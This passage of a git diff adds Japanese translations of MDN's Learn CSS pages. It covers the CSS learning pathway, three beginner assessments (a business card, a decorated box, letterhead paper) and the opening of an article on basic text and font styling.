は{{glossary("HTML")}} を学んだら、まず次に勉強すべき技術です。 HTML はコンテンツの構造と{{glossary("Semantics","意味論")}}を定義するのに使用されるのに対し、CSS はそのコンテンツにスタイルを与えたりレイアウトを決めるために使われます。 例えばフォント、色、サイズ、余白を変更したり、コンテンツを複数の列に分割して段組を作成したり、アニメーションやその他の装飾機能を追加するのに CSS は利用できます。</p> + +<h2 id="Learning_pathway" name="Learning_pathway">学習の道のり</h2> + +<p>CSS に挑戦する前に HTML の基礎を学習しておくべきです。 まず、<a href="/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a> に取り組むことを推奨します — その後に、以下のことについて学んでください:</p> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/CSS/First_steps">CSS 入門</a> から始まる CSS モジュール</li> + <li>より高度な <a href="/Learn/HTML#Modules">HTML モジュール</a></li> + <li><a href="/docs/Learn/JavaScript">JavaScript</a> と、動的な機能をウェブページに追加する方法</li> +</ul> + +<p>HTML の基本のキが理解できたら、HTML と CSS の 2 つのトピックスを行き来しながらふたつを同時に学習することを推奨します。 なぜなら、CSS を理解すると HTMLを勉強するのが更に興味深くまたもっと楽しくなり、またHTML を知ることなくして CSS を学習することはできないからです。</p> + +<p>またこのトピックを開始する前に、コンピューターの基本的な使い方と、ウェブを受動的に使用すること (つまり、ウェブコンテンツを消費すること) に慣れている必要があります。 <a href="/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアをインストールする</a> に詳しく書かれているような基本的な環境を持っており、 <a href="/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a> に詳しく書かれているようなファイルの作成・管理方法を理解している必要があります — なおこれらについては初心者向けの記事集である<a href="/docs/Learn/Getting_started_with_the_web">ウェブ入門</a>のなかに入っています。</p> + +<p>このトピックに取り組む前に <a href="/docs/Learn/Getting_started_with_the_web">ウェブ入門</a> を読むと良いでしょう。 ただ、このウェブ入門のなかの<a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS basics</a>の記事で紹介されていることの多くは、<a href="https://developer.mozilla.org/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a> でもカバーされているのでこれは必須ではありません。</p> + +<h2 id="Modules" name="Modules">モジュール</h2> + +<p>このトピックは、以下のモジュールで構成されており、取り組むべき順に記載していますので、上から始めていくとよいでしょう。</p> + +<dl> + <dt></dt> + <dt><a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a></dt> + <dd>CSS (Cascading Style Sheets) はウェブページをスタイリングしたりレイアウトしたりするのに使われます — 例えば、文字、色、大きさを変えたり、コンテンツに余白を設けたり、複数列に分けたり、 あるいはアニメーションを加えたりなど様々な装飾機能があります。このモジュールでは、CSSのはたらきからCSSの構文、そしてそれを使ってHTMLをどうデザインしていくのかといったCSSをマスターするための入門編を丁寧に解説します。</dd> + <dt></dt> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks">CSS の構成要素</a></dt> + <dd> + <p>このモジュールは <a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>から派生しています。CSSにちょっと慣れて簡単な経験も積んだところで、それをもう少し掘り下げてみましょう。カスケードと継承・セレクター・単位・サイズ設定・背景と枠線についてやデバックの方法などを見ていきます。</p> + + <p>ここでの目的は、<a href="/ja/docs/Learn/CSS/Styling_text">テキストの装飾</a>や <a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a>などのより具体的な分野に進む前に、適切な CSS を書くための手法を知り、すべての重要な理論を理解できるようになることです。</p> + </dd> + <dt><a href="/ja/docs/Learn/CSS/Styling_text">テキストの装飾</a></dt> + <dd>CSS 言語の基本を習得したら、次に取り組むべき CSS のトピックはテキストの装飾です — これは、CSS で最もよく使うことの一つです。 ここでは、フォント、太字、イタリック、ラインと文字の間隔、ドロップシャドウやその他のテキスト機能の設定を含む、テキストの装飾の基本を見ていきます。あなたのページにカスタムフォントを適用し、リストとリンクを装飾するところを見ることによって、このモジュールを締めくくります。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a></dt> + <dd>ここまでで既に CSS の基本、テキストの装飾方法、コンテンツを格納するボックスの装飾方法と操作方法を見てきました。 今度は、ビューポートを基準にしてボックスを適切な場所に配置する方法、および互いの配置方法を検討します。 必要な前提知識はカバーされているので、奥深いCSSレイアウトの世界に飛び込むことができます。さまざまな <code>display</code> の設定、flexboxのようなモダンなやり方から、CSS grid、positioning、そしてまだまだ知っておきたいと思うかもしれないレガシーなテクニックまでを概観していきます。</dd> +</dl> + +<h2 id="Solving_common_CSS_problems" name="Solving_common_CSS_problems">CSS でよくある問題を解決するには</h2> + +<p><a href="/ja/docs/Learn/CSS/Howto">CSS を使ってよくある問題を解決する</a> には、ウェブページを作成する際よく発生する問題を CSS を使って解決する方法へのリンクがまとめられています。</p> + +<p>最初から、HTML 要素とその背景に色を付けたり、要素の大きさや形や位置を変えたり、要素のボーダー（境界線）を定義することがもっとも多かったでしょう。 しかし CSS の基本をしっかり理解していれば、できないことはそれほど多くありません。 CSS学習のなかで最も嬉しいことの1つは、一度基礎を理解してしまうと、やり方が実はまだよくわかっていなくても、できることとできないことに対して大抵はかなり良い感触が得られることです！</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="/ja/docs/Web/CSS">MDN での CSS</a></dt> + <dd>MDN での CSS ドキュメントの主な出発点です。 CSS 言語のすべての機能を詳しく説明したリファレンスドキュメントがあります。 プロパティがとりうるすべての値を知りたいですか？ ここは良い場所です。</dd> +</dl> diff --git a/files/ja/learn/css/introduction_to_css/fundamental_css_comprehension/index.html b/files/ja/learn/css/introduction_to_css/fundamental_css_comprehension/index.html new file mode 100644 index 0000000000..c8012c9a8a --- /dev/null +++ b/files/ja/learn/css/introduction_to_css/fundamental_css_comprehension/index.html @@ -0,0 +1,133 @@ +--- +title: 基本的な CSS の理解 +slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension +tags: + - Assessment + - Beginner + - CSS + - CodingScripting + - Syntax + - コメント + - スタイル + - セレクタ + - ボックスモデル + - ルール +translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</div> + +<p class="summary">このモジュールで多くをカバーしてきました、最後まで来て気分が良いでしょう！ 次に進む前の最後のステップは、モジュールの評価を試みることです。これには、最終的なデザイン (名刺/ゲーマーカード/ソーシャルメディアプロファイル) を作成するために完了しなければならないいくつかの関連演習が含まれます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>この評価を実施する前に、すでにこのモジュールのすべての記事を通して作業しているはずです。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>基本的な CSS 理論、構文、およびメカニズムの理解をテストする。</td> + </tr> + </tbody> +</table> + +<h2 id="出発点">出発点</h2> + +<p>この評価を開始するには、次のことが必要です。</p> + +<ul> + <li><a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">練習用の HTML ファイル</a>とそれに<a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">関連付けられた画像ファイル</a>を探して、ローカルコンピュータの新しいディレクトリに保存します。自身の画像ファイルを使い、自身の名前を記入したいのなら、それも大歓迎です — ちょうど画像が正方形であることを確認してください。</li> + <li><a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt">CSS リソースのテキストファイル</a>を入手してください。これには、評価の一部に答えるために検討して組み合わせる必要がある一連の未加工のセレクタとルールセットが含まれています。</li> +</ul> + +<div class="note"> +<p><strong>メモ</strong>: 代わりとして、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> のようなサイトを使って評価することもできます。HTML を貼り付けて CSS をこれらのオンラインエディタのいずれかに入力し、この URL を使用して <code><img></code> 要素を画像ファイルに向けることができます。使用しているオンラインエディタに別の CSS パネルがない場合は、それをドキュメントの先頭の <code><style></code> 要素に自由に配置してください。</p> +</div> + +<h2 id="プロジェクト概要">プロジェクト概要</h2> + +<p>生の HTML と画像が提供されているので、これにスタイルを設定するのに必要な CSS を気の利いた小さなオンライン名刺に書く必要があります。これは、おそらくゲーマーカードやソーシャルメディアのプロファイルを兼ねるでしょう。次のセクションではする必要があることについて説明します。</p> + +<p>基本設定:</p> + +<ul> + <li>まず最初に、HTML と画像ファイルと同じディレクトリに新しいファイルを作成してください。それを <code>style.css</code> のような本当に想像力豊かなものと呼びます。</li> + <li><code><link></code> 要素を介して CSS を HTML ファイルにリンクします。</li> + <li>CSS リソースファイルの最初の2つのルールセットは無料です。幸運を祈って楽しんだら、コピーして新しい CSS ファイルの先頭に貼り付けます。これらをテストとして使用して、CSS が HTML に正しく適用されていることを確認してください。</li> + <li>2つの規則の上に、CSSコメントをその中にテキストを追加して、これがページ全体の一般的なスタイルのセットであることを示します。「一般的なページスタイル」でも構いません。また、CSS ファイルの下部にさらに3つのコメントを追加して、カードコンテナの設定に固有のスタイル、ヘッダーとフッターに固有のスタイル、およびメインの名刺の内容に固有のスタイルを示します。 今後、スタイルシートに追加された後続のスタイルは適切な場所に編成される必要があります。</li> +</ul> + +<p>CSS リソースファイルで提供されているセレクタとルールセットに注意してください。</p> + +<ul> + <li>次に、4つのセレクタを見て、それぞれの詳細度を計算してください。CSS の上部にあるコメントなど、後で見つけられる場所にこれらを書き留めてください。</li> + <li>では、正しいセレクタを正しいルールセットに配置しましょう。CSS リソースには、4組のセレクタとルールセットがあります。今すぐこれを行い、それらを CSS ファイルに追加してください。必要があるのは： + <ul> + <li>メインカードコンテナの幅と高さ、背景色、ボーダー、ボーダー半径 (角丸) などを固定します。</li> + <li>ヘッダーに、濃い色から明るい色への背景グラデーションと、メインカードコンテナに設定された丸みのある角に合う丸みのある角を付けます。</li> + <li>フッターには、明るいものから暗いものまでの背景のグラデーションと、メインカードコンテナに設定された丸みのある角に合う丸みのある角を付けます。</li> + <li>画像をメインの名刺の内容の右側に貼り付け、最大の高さを100％にします (どの高さになるかにかかわらず、親コンテナと同じ高さを維持するために拡大/縮小することを保証する巧妙なトリック) 。</li> + </ul> + </li> + <li>注意してください。提供されているルールセットには2つのエラーがあります。知っている任意のテクニックを使用して、これらを見つけ出して進む前に修正してください。</li> +</ul> + +<p>書く必要がある新しいルールセット：</p> + +<ul> + <li>カードヘッダーとカードフッターの両方を対象としたルールセットを作成し、計算された合計の高さは50ピクセル (コンテンツの高さ30ピクセル、パディングは全側面で10ピクセル) を両方に指定します。</li> + <li>ブラウザが <code><h2></code> 要素と <code><p></code> 要素に適用するデフォルトのマージンは、私たちのデザインを妨げるので、これらすべての要素をターゲットにしてそれらのマージンを 0 に設定するルールを書きましょう。</li> + <li>画像がメインの名刺の内容 (<code><article></code> 要素) からはみ出ないようにするには、特定の高さを指定する必要があります。<code><article></code> の高さを 120 px に設定します。ただし、<code>em</code>s で表します。また、背景色を半透明の黒にすると、やや濃い色になり、背景の赤い色も少し明るくなります。</li> + <li><code><h2></code> に 20 px の有効フォントサイズ (ただし <code>em</code>s で表示) とそれをヘッダーのコンテンツボックスの中央に配置するための適切な行の高さを指定するルールセットを作成します。やる前にコンテンツボックスの高さは 30 px でなければならないことを思い出してください — これで行の高さを計算するのに必要なすべての数が揃います。</li> + <li>フッターの内側の <code><p></code> を 15 px の有効フォントサイズ (ただし <code>em</code>s で表示) とフッターのコンテンツボックスの中央に配置するための適切な行の高さを指定するルールセットを作成します。やる前にコンテンツボックスの高さは 30 px でなければならないことを思い出してください — これで行の高さを計算するのに必要なすべての数が揃います。</li> + <li>最後のちょっとしたタッチとして、<code><article></code> の内側の段落に適切なパディング値を指定して、その左端が <code><h2></code> とフッターの段落に揃うようにし、読みやすくなるように色をかなり明るい色に設定します。</li> +</ul> + +<div class="note"> +<p><strong>メモ</strong>: 2番目のルールセットは <code><html></code> 要素に <code>font-size: 10px;</code> を設定することに注意してください。これは <code><html></code> のすべての子孫について、em はデフォルトの16 px ではなく10 px になることを意味します (これはもちろん、階層内で問題の子孫と <code><html></code> の間に別の <code>font-size</code> が設定されている先祖がいない場合に限ります。これは必要な値に影響を与える可能性がありますが、この単純な例では問題にはなりません)。</p> +</div> + +<p>その他の考慮事項</p> + +<ul> + <li>読みやすくするために CSS を作成すると、各行に個別の宣言を使用してボーナスマークが付けられます。</li> + <li>他のコンテンツを大量に含む名刺をページに配置する場合にこれらのルールが他の要素のスタイル設定を妨げないように、すべてのルールのセレクタチェーンの先頭に <code>.card</code> を含める必要があります。</li> +</ul> + +<h2 id="ヒントとコツ">ヒントとコツ</h2> + +<ul> + <li>CSS を HTML に適用する以外は、HTML を編集する必要はありません。</li> + <li>特定のピクセル長を表現するために必要な <code>em</code> 値を計算する際には、ルート (<code><html></code>) 要素の基本フォントサイズと、必要な値を得るために乗算する必要があるサイズについて考えてください。少なくともこのような単純なケースでは、em の価値があるでしょう。</li> +</ul> + +<h2 id="例">例</h2> + +<p>次のスクリーンショットは、完成したデザインの外観の例を示しています。</p> + +<p><img alt="A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image." src="https://mdn.mozillademos.org/files/12616/business-card.png" style="display: block; margin: 0 auto;"></p> + +<h2 id="評価">評価</h2> + +<p>組織的な研修の一部としてこの評価に従っているなら、あなたは採点のためにあなたの教師/メンターに作業結果を提出できるはずです。もし自己学習しているのであれば、<a href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682">この練習問題についてのディスカッションスレッド</a>、または <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、非常に簡単に採点ガイドを入手できます。最初にエクササイズをしてみてください — 不正をすることによって得られるものは何もありません！</p> + +<p>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works">CSS の仕組み</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Syntax">CSS の構文</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS セレクタ</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Simple_selectors">単純セレクタ</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">属性セレクタ</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements">擬似クラスと擬似要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Combinators_and_multiple_selectors">コンビネーターとセレクタリスト</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">基本的な CSS の理解</a></li> +</ul> diff --git a/files/ja/learn/css/styling_boxes/a_cool_looking_box/index.html b/files/ja/learn/css/styling_boxes/a_cool_looking_box/index.html new file mode 100644 index 0000000000..32aa19ca2e --- /dev/null +++ b/files/ja/learn/css/styling_boxes/a_cool_looking_box/index.html @@ -0,0 +1,100 @@ +--- +title: かっこいいボックス +slug: Learn/CSS/Styling_boxes/A_cool_looking_box +tags: + - Assessment + - Beginner + - CSS + - Learn + - backgrounds + - borders + - box + - box model + - effects +translation_of: Learn/CSS/Building_blocks/A_cool_looking_box +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</div> + +<p class="summary"><span class="seoSummary">この評価では、人目を引くボックスを作成しようとすることで、かっこいいボックスを作成する方法をさらに習得できます。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>この評価を試みる前に、このモジュールのすべての記事を読んでおくべきです。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>CSS ボックスモデルと、境界線や背景などの他のボックス関連機能の理解をテストすること。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">出発点</h2> + +<p>この評価を開始するには、次のことが必要です。</p> + +<ul> + <li><a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/index.html">HTML</a> と <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/style.css">CSS</a> のローカルコピーを作成します — それらを <code>index.html</code> と <code>style.css</code> として新しいディレクトリに保存します。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: あるいは、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> などのサイトを使って評価することもできます。 HTML を貼り付けて CSS をこれらのオンラインエディタのいずれかに入力できます。 使用しているオンラインエディタに別の CSS パネルがない場合は、それをドキュメントの先頭の <code><style></code> 要素に自由に配置してください。</p> +</div> + +<h2 id="Project_brief" name="Project_brief">プロジェクトの概要</h2> + +<p>あなたの仕事は、かっこよくて装飾的な箱を作り、私たちが CSS で持つことができる楽しみを探ることです。</p> + +<h3 id="General_tasks" name="General_tasks">一般的なタスク</h3> + +<ul> + <li>CSS を HTML に適用します。</li> +</ul> + +<h3 id="Styling_the_box" name="Styling_the_box">ボックスの装飾</h3> + +<p>提供された {{htmlelement("p")}} に次のように装飾を設定してください。</p> + +<ul> + <li>およそ 200 ピクセルくらいの、大きなボタンに適した幅。</li> + <li>過程でテキストを垂直方向に中央揃えする、大きなボタンに適した高さ。</li> + <li>中央揃えのテキスト。</li> + <li>フォントサイズがわずかに増加し、計算したスタイルはおおよそ 17 から 18 ピクセルになりました。 rem を使用してください。 どのように値を導いたかについてのコメントを書いてください。</li> + <li>デザインの基本色。 この色を背景色としてボックスに付けます。</li> + <li>テキストの色は同じで、黒いテキストの影を使って読みやすくします。</li> + <li>かなり微妙な境界線の半径。</li> + <li>基本色に似た色で、やや暗い色合いの1ピクセルの実線の境界線。</li> + <li>右下隅に向かう半透明の黒の線形グラデーション。 最初は完全に透明にし、それに沿って 30% ずつ不透明度を約 0.2 に段階的に調整し、最後まで同じ色のままにします。</li> + <li>複数のボックスの影。 ボックスがページから少し浮き上がって見えるようにするには、標準のボックスの影を1つ指定します。 他の2つは、ボックスの内側の影であるべきです — 左上近くの半透明の白い影と右下近くの半透明の黒い影 — ボックスの素敵な浮いた3Dの外観に追加する。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<p>次のスクリーンショットは、完成したデザインがどのように見えるかの例を示しています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13148/fancy-box.png" style="display: block; height: 76px; margin: 0px auto; width: 228px;"></p> + +<h2 id="Assessment" name="Assessment">評価</h2> + +<p>組織的コースの一環としてこの評価に従っている場合は、採点のために作品を教師や指導者に渡すことができるはずです。 自己学習をしている場合は、<a href="https://discourse.mozilla.org/t/a-cool-looking-box-assessment/24685">この演習についてのディスカッションスレッド</a>や <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、かなり簡単に採点の手引きを得ることができます。 まず演習を試してみてください — 不正行為によって得られるものは何もありません！</p> + +<p>{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</p> + +<p> </p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Box_model_recap">ボックスモデルの復習</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Backgrounds">背景</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Borders">境界線</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Styling_tables">表の装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Advanced_box_effects">ボックスの高度なエフェクト</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">装飾的なレターヘッド付きの便箋の作成</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">かっこいいボックス</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html b/files/ja/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html new file mode 100644 index 0000000000..6d793d69ff --- /dev/null +++ b/files/ja/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html @@ -0,0 +1,108 @@ +--- +title: 装飾的なレターヘッド付きの便箋の作成 +slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper +tags: + - Assessment + - Background + - Beginner + - Boxes + - CSS + - CodingScripting + - border + - box + - letter + - letterhead + - letterheaded + - paper +translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}</div> + +<p class="summary"><span class="seoSummary">好印象を与えたいのなら、素敵なレターヘッドの便箋に手紙を書くのはとても良い考えです。この評価では、そのような見た目のオンラインテンプレートの作成に挑戦します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>この評価を試みる前に、このモジュールのすべての記事を読んでおくべきです。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>CSS ボックスモデルの理解と、背景の実装などの他のボックス関連機能をテストします。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">出発点</h2> + +<p>この評価を開始するには、次のことが必要です。</p> + +<ul> + <li><a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/index.html">HTML</a> と <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/style.css">CSS</a> のローカルコピーを作成します — それらを <code>index.html</code> と <code>style.css</code> として新しいディレクトリに保存します。</li> + <li>上部（<a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/top-image.png">top</a>）、下部（<a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/bottom-image.png">bottom</a>）、ロゴ（<a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/logo.png">logo</a>）の画像のローカルコピーを、コードファイルと同じディレクトリに保存します。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: あるいは、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> などのサイトを使って評価することもできます。 HTML を貼り付けて CSS をこれらのオンラインエディタのいずれかに入力できます。 使用しているオンラインエディタに別の CSS パネルがない場合は、それをドキュメントの先頭の <code><style></code> 要素に自由に配置してください。</p> +</div> + +<h2 id="Project_brief" name="Project_brief">プロジェクトの概要</h2> + +<p>レターヘッド付きの便箋のテンプレートを作成するのに必要なファイルを与えられました。 ファイルをまとめるだけでいいのです。 目的を達するには、次のことが必要です。</p> + +<h3 id="The_main_letter" name="The_main_letter">メインの手紙</h3> + +<ul> + <li>CSS を HTML に適用します。</li> + <li><code>background</code> 宣言を手紙に追加します。 + <ul> + <li>上部の画像を手紙の上部に固定します。</li> + <li>下部の画像を手紙の下部に固定します。</li> + <li>前記の両方の背景の上に半透明のグラデーションを追加して、手紙に少し質感を与えます。 上部と下部のすぐ近くで少し暗くしますが、中央の大部分は完全に透明にします。</li> + </ul> + </li> + <li>前記の宣言をサポートしていないブラウザーのための代替として、単に top の画像を手紙の上部に追加する別の <code>background</code> 宣言を追加します。</li> + <li>手紙に白い背景色を追加します。</li> + <li>配色の他の部分と調和している色で、手紙に 1mm の上下の実線の境界線を追加します。</li> +</ul> + +<h3 id="The_logo" name="The_logo">ロゴ</h3> + +<ul> + <li>{{htmlelement("h1")}} にロゴを背景画像として追加します。</li> + <li>ロゴにフィルタを追加して、微妙なドロップシャドウを付けます。</li> + <li>今度はフィルタをコメントアウトし、丸い画像の形に沿った（ややクロスブラウザー互換の）別の方法でドロップシャドウを実装します。</li> +</ul> + +<h2 id="Hints_and_tips" name="Hints_and_tips">ヒントとコツ</h2> + +<ul> + <li>代替バージョンの宣言を最初に配置し、その後に新しいブラウザーでのみ機能するバージョンを配置することによって、古いブラウザーのための代替を作成できることを忘れないでください。 古いブラウザーは最初の宣言を適用して2番目の宣言を無視しますが、新しいブラウザーは最初の宣言を適用してから2番目の宣言で上書きします。</li> + <li>ご希望の場合は、評価用に独自のグラフィックを自由に作成してください。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<p>次のスクリーンショットは、完成したデザインがどのように見えるかの例を示しています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13144/letterhead.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<h2 id="Assessment" name="Assessment">評価</h2> + +<p>組織的コースの一環としてこの評価に従っている場合は、採点のために作品を教師や指導者に渡すことができるはずです。 自己学習をしている場合は、<a href="https://discourse.mozilla.org/t/creating-fancy-letterheaded-paper-assessment/24684/1">この演習についてのディスカッションスレッド</a>や <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、かなり簡単に採点の手引きを得ることができます。 まず演習を試してみてください — 不正行為によって得られるものは何もありません！</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Box_model_recap">ボックスモデルの復習</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Backgrounds">背景</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Borders">境界線</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Styling_tables">表の装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Advanced_box_effects">ボックスの高度なエフェクト</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">装飾的なレターヘッド付きの便箋の作成</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">かっこいいボックス</a></li> +</ul> diff --git a/files/ja/learn/css/styling_text/fundamentals/index.html b/files/ja/learn/css/styling_text/fundamentals/index.html new file mode 100644 index 0000000000..163dd945ee --- /dev/null +++ b/files/ja/learn/css/styling_text/fundamentals/index.html @@ -0,0 +1,748 @@ +--- +title: 基本的なテキストとフォントの装飾 +slug: Learn/CSS/Styling_text/Fundamentals +tags: + - Article + - Beginner + - CSS + - Guide + - Style + - Text + - alignment + - family + - font + - shorthand + - spacing + - weight +translation_of: Learn/CSS/Styling_text/Fundamentals +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div> + +<p class="summary"><span class="seoSummary">この記事では、{{glossary("CSS")}} によるテキストの装飾の習得に向けて旅を始めましょう。</span> ここでは、フォントの太さ、ファミリーそしてスタイルの設定、フォントの一括指定、テキストの配置とその他のエフェクト、ラインと文字の間隔などを含んだ、テキストやフォントの装飾の基本について詳しく説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターリテラシー、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、CSS の基本（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>ウェブページのテキストを装飾するために必要な基本的なプロパティとテクニックを学ぶこと。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_involved_in_styling_text_in_CSS" name="What_is_involved_in_styling_text_in_CSS">CSS においてテキストの装飾には何が関係していますか？</h2> + +<p>HTML と CSS を使った作業ですでに経験したように、要素内のテキストは要素のコンテンツボックス内にレイアウトされます。 コンテンツ領域の左上（RTL 言語のコンテンツの場合は右上）から始まり、ラインの終りに向かって流れます。 終りに達すると、次のラインに進み、続けてすべてのコンテンツがボックスに配置されるまで次のラインに進みます。 テキストコンテンツは事実上一連のインライン要素のようにふるまい、互いに隣接するラインに配置され、ラインの終りに達するまで、または、{{htmlelement("br")}} 要素を使用して手動で改行を強制しない限り改行を作成しません。</p> + +<div class="note"> +<p><strong>注</strong>: 上の段落で混乱していると感じても問題ありません — 先に進む前に、ボックスモデル理論を磨くために、<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Box_model">ボックスモデル</a>の記事に戻って見直してください。</p> +</div> + +<p>テキストを装飾するために使用される CSS プロパティは、一般的に次の2つのカテゴリに分類されます。 